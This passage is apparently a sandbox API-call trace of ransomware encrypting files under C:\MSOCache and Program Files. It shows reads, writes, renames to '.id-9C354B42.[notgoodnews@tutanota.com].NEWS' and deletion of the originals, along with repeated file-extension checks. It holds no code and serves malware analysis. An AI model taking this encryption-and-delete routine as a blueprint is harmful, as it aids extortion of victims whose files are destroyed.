lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.165] WriteFile (in: hFile=0x208, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xee, lpOverlapped=0x0) returned 1 [0050.165] SetEndOfFile (hFile=0x208) returned 1 [0050.166] CloseHandle (hObject=0x208) returned 1 [0050.166] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.166] SetEndOfFile (hFile=0x20c) returned 1 [0050.168] CloseHandle (hObject=0x20c) returned 1 [0050.168] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0050.168] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 1 [0050.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0050.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0050.169] lstrlenW (lpString=".doc") returned 4 [0050.169] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.169] lstrlenW (lpString=".docx") returned 5 [0050.169] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0050.169] lstrlenW (lpString=".pdf") returned 4 [0050.169] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.169] lstrlenW (lpString=".xls") returned 4 [0050.169] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.169] lstrlenW (lpString=".xlsx") returned 5 [0050.169] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0050.169] lstrlenW (lpString=".ppt") returned 4 [0050.169] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0050.169] lstrlenW (lpString=".zip") returned 4 [0050.169] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.169] lstrlenW (lpString=".rar") returned 4 [0050.169] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.169] lstrlenW (lpString=".bz2") returned 4 [0050.169] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.170] lstrlenW (lpString=".7z") returned 3 [0050.170] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0050.170] lstrlenW (lpString=".dbf") returned 4 [0050.170] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0050.170] lstrlenW (lpString=".1cd") returned 4 [0050.170] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0050.170] lstrlenW (lpString=".jpg") returned 4 [0050.170] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0050.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0050.170] lstrlenW (lpString=".doc") returned 4 [0050.170] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.170] lstrlenW (lpString=".docx") returned 5 [0050.170] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0050.170] lstrlenW (lpString=".pdf") returned 4 [0050.170] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.170] lstrlenW (lpString=".xls") returned 4 [0050.170] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.170] lstrlenW (lpString=".xlsx") returned 5 [0050.171] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0050.171] lstrlenW (lpString=".ppt") returned 4 [0050.171] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.171] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0050.171] lstrlenW (lpString=".zip") returned 4 [0050.171] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.171] lstrlenW (lpString=".rar") returned 4 [0050.171] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.171] lstrlenW (lpString=".bz2") returned 4 [0050.171] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.171] lstrlenW (lpString=".7z") returned 3 [0050.171] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.171] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0050.171] lstrlenW (lpString=".dbf") returned 4 [0050.171] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.171] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0050.171] lstrlenW (lpString=".1cd") returned 4 [0050.171] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.171] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0050.171] lstrlenW (lpString=".jpg") returned 4 [0050.171] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.307] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0050.309] lstrlenW (lpString="MS.JPG") returned 6 [0050.309] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.336] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=1061) returned 1 [0050.336] CloseHandle (hObject=0x170) returned 1 [0050.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 0x20 [0050.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0050.337] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.337] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.337] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.337] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0050.338] GetLastError () returned 0x0 [0050.338] ReadFile (in: hFile=0x170, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x425, lpOverlapped=0x0) returned 1 [0050.340] WriteFile (in: hFile=0x19c, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x430, lpOverlapped=0x0) returned 1 [0050.342] ReadFile (in: hFile=0x170, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.342] WriteFile (in: hFile=0x19c, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0050.342] SetEndOfFile (hFile=0x19c) returned 1 [0050.342] CloseHandle (hObject=0x19c) returned 1 [0050.344] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.344] SetEndOfFile (hFile=0x170) returned 1 [0050.346] CloseHandle (hObject=0x170) returned 1 [0050.346] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0050.346] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 1 [0050.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0050.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0050.346] lstrlenW (lpString=".doc") returned 4 [0050.347] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0050.347] lstrlenW (lpString=".docx") returned 5 [0050.347] lstrcmpiW (lpString1=".docx", lpString2="S.JPG") returned -1 [0050.347] lstrlenW (lpString=".pdf") returned 4 [0050.347] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0050.347] lstrlenW (lpString=".xls") returned 4 [0050.347] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0050.347] lstrlenW (lpString=".xlsx") returned 5 [0050.347] lstrcmpiW (lpString1=".xlsx", lpString2="S.JPG") returned -1 [0050.347] lstrlenW (lpString=".ppt") returned 4 [0050.347] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0050.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0050.347] lstrlenW (lpString=".zip") returned 4 [0050.347] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0050.347] lstrlenW (lpString=".rar") returned 4 [0050.347] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0050.347] lstrlenW (lpString=".bz2") returned 4 [0050.347] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0050.347] lstrlenW (lpString=".7z") returned 3 [0050.347] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0050.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0050.347] lstrlenW (lpString=".dbf") returned 4 [0050.347] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0050.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0050.348] lstrlenW (lpString=".1cd") returned 4 [0050.348] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0050.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0050.348] lstrlenW (lpString=".jpg") returned 4 [0050.348] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0050.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0050.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0050.348] lstrlenW (lpString=".doc") returned 4 [0050.348] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0050.348] lstrlenW (lpString=".docx") returned 5 [0050.348] lstrcmpiW (lpString1=".docx", lpString2="S.JPG") returned -1 [0050.348] lstrlenW (lpString=".pdf") returned 4 [0050.348] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0050.348] lstrlenW (lpString=".xls") returned 4 [0050.348] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0050.348] lstrlenW (lpString=".xlsx") returned 5 [0050.348] lstrcmpiW (lpString1=".xlsx", lpString2="S.JPG") returned -1 [0050.348] lstrlenW (lpString=".ppt") returned 4 [0050.348] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0050.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0050.349] lstrlenW (lpString=".zip") returned 4 [0050.349] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0050.349] lstrlenW (lpString=".rar") returned 4 [0050.349] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0050.349] lstrlenW (lpString=".bz2") returned 4 [0050.349] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0050.349] lstrlenW (lpString=".7z") returned 3 [0050.349] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0050.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0050.349] lstrlenW (lpString=".dbf") returned 4 [0050.349] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0050.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0050.349] lstrlenW (lpString=".1cd") returned 4 [0050.349] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0050.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0050.349] lstrlenW (lpString=".jpg") returned 4 [0050.349] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0050.350] lstrcmpiW (lpString1=".PNG", lpString2=".NEWS") returned 1 [0050.350] lstrlenW (lpString="MS.PNG") returned 6 [0050.350] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.350] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=1682) returned 1 [0050.350] CloseHandle (hObject=0x170) returned 1 [0050.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 0x20 [0050.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0050.350] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.351] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.351] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.351] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0050.351] GetLastError () returned 0x0 [0050.351] ReadFile (in: hFile=0x170, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x692, lpOverlapped=0x0) returned 1 [0050.363] WriteFile (in: hFile=0x19c, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x6a0, lpOverlapped=0x0) returned 1 [0050.364] ReadFile (in: hFile=0x170, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.365] WriteFile (in: hFile=0x19c, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0050.365] SetEndOfFile (hFile=0x19c) returned 1 [0050.365] CloseHandle (hObject=0x19c) returned 1 [0050.366] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.366] SetEndOfFile (hFile=0x170) returned 1 [0050.367] CloseHandle (hObject=0x170) returned 1 [0050.367] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0050.368] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 1 [0050.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0050.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0050.368] lstrlenW (lpString=".doc") returned 4 [0050.368] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0050.368] lstrlenW (lpString=".docx") returned 5 [0050.368] lstrcmpiW (lpString1=".docx", lpString2="S.PNG") returned -1 [0050.368] lstrlenW (lpString=".pdf") returned 4 [0050.368] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0050.368] lstrlenW (lpString=".xls") returned 4 [0050.368] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0050.368] lstrlenW (lpString=".xlsx") returned 5 [0050.369] lstrcmpiW (lpString1=".xlsx", lpString2="S.PNG") returned -1 [0050.369] lstrlenW (lpString=".ppt") returned 4 [0050.369] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0050.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0050.369] lstrlenW (lpString=".zip") returned 4 [0050.369] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0050.369] lstrlenW (lpString=".rar") returned 4 [0050.369] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0050.369] lstrlenW (lpString=".bz2") returned 4 [0050.369] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0050.369] lstrlenW (lpString=".7z") returned 3 [0050.369] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0050.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0050.369] lstrlenW (lpString=".dbf") returned 4 [0050.369] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0050.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0050.369] lstrlenW (lpString=".1cd") returned 4 [0050.369] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0050.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0050.369] lstrlenW (lpString=".jpg") returned 4 [0050.369] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0050.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0050.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0050.370] lstrlenW (lpString=".doc") returned 4 [0050.370] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0050.370] lstrlenW (lpString=".docx") returned 5 [0050.370] lstrcmpiW (lpString1=".docx", lpString2="S.PNG") returned -1 [0050.370] lstrlenW (lpString=".pdf") returned 4 [0050.370] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0050.370] lstrlenW (lpString=".xls") returned 4 [0050.370] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0050.370] lstrlenW (lpString=".xlsx") returned 5 [0050.370] lstrcmpiW (lpString1=".xlsx", lpString2="S.PNG") returned -1 [0050.370] lstrlenW (lpString=".ppt") returned 4 [0050.370] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0050.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0050.370] lstrlenW (lpString=".zip") returned 4 [0050.370] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0050.370] lstrlenW (lpString=".rar") returned 4 [0050.370] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0050.370] lstrlenW (lpString=".bz2") returned 4 [0050.370] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0050.371] lstrlenW (lpString=".7z") returned 3 [0050.371] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0050.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0050.371] lstrlenW (lpString=".dbf") returned 4 [0050.371] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0050.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0050.704] lstrlenW (lpString=".1cd") returned 4 [0050.704] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0050.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0050.704] lstrlenW (lpString=".jpg") returned 4 [0050.704] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0050.704] lstrcmpiW (lpString1=".avi", lpString2=".NEWS") returned -1 [0050.704] lstrlenW (lpString="FlickAnimation.avi") returned 18 [0050.704] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0050.705] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=1600388) returned 1 [0050.705] CloseHandle (hObject=0x1cc) returned 1 [0050.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0050.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0050.706] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0050.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0050.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0050.706] lstrlenW (lpString=".doc") returned 4 [0050.706] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0050.706] lstrlenW (lpString=".docx") returned 5 [0050.706] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0050.706] lstrlenW (lpString=".pdf") returned 4 [0050.706] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0050.706] lstrlenW (lpString=".xls") returned 4 [0050.706] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0050.706] lstrlenW (lpString=".xlsx") returned 5 [0050.706] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0050.706] lstrlenW (lpString=".ppt") returned 4 [0050.706] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0050.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0050.706] lstrlenW (lpString=".zip") returned 4 [0050.706] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0050.706] lstrlenW (lpString=".rar") returned 4 [0050.706] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0050.706] lstrlenW (lpString=".bz2") returned 4 [0050.707] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0050.707] lstrlenW (lpString=".7z") returned 3 [0050.707] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0050.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0050.707] lstrlenW (lpString=".dbf") returned 4 [0050.707] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0050.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0050.707] lstrlenW (lpString=".1cd") returned 4 [0050.707] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0050.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0050.707] lstrlenW (lpString=".jpg") returned 4 [0050.707] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0050.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 